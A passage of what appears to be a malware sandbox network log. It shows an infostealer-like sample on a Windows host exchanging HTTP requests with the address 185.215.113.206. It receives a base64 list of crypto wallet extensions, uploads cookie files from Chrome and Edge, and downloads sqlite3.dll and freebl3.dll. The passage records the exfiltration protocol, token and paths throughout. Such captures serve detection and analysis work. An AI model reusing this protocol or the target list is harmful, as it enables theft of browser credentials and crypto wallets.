6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="message"plugins------EHCBAAAFHJDHJJKEBGHI--
Nov 28, 2024 06:48:03.848018885 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 06:48:03.848108053 CET	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Nov 28, 2024 06:48:03.848119974 CET	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Nov 28, 2024 06:48:03.848212004 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 28, 2024 06:48:03.848223925 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 28, 2024 06:48:03.848233938 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 28, 2024 06:48:03.856734991 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Nov 28, 2024 06:48:03.858547926 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 2d 2d 0d 0a Data Ascii: ------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="message"fplugins------DHJJEGHIIDAFIDHJDHJE--
Nov 28, 2024 06:48:04.311497927 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 06:48:04.339560032 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.206 Content-Length: 5475 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 06:48:04.339651108 CET	5475	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 28, 2024 06:48:05.424951077 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:06.059983969 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:06.510989904 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 28, 2024 06:48:06.511025906 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 28, 2024 06:48:06.515222073 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49724	185.215.113.206	80	3656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 06:48:15.828810930 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DAKFIDHDGIEGCAKFIIJK--
Nov 28, 2024 06:48:17.739289999 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:18.313734055 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file"------BFBAAFHDHCBGCAKFHDAK--
Nov 28, 2024 06:48:19.279072046 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49750	185.215.113.206	80	3656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 06:48:25.129683018 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHID Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIEHCFIDHIDGIDHJEHID--
Nov 28, 2024 06:48:27.006968975 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:27.128801107 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="file"------EBAKEBAECGCBAAAAAEBA--
Nov 28, 2024 06:48:28.074707985 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:28.882742882 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:29.332592964 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 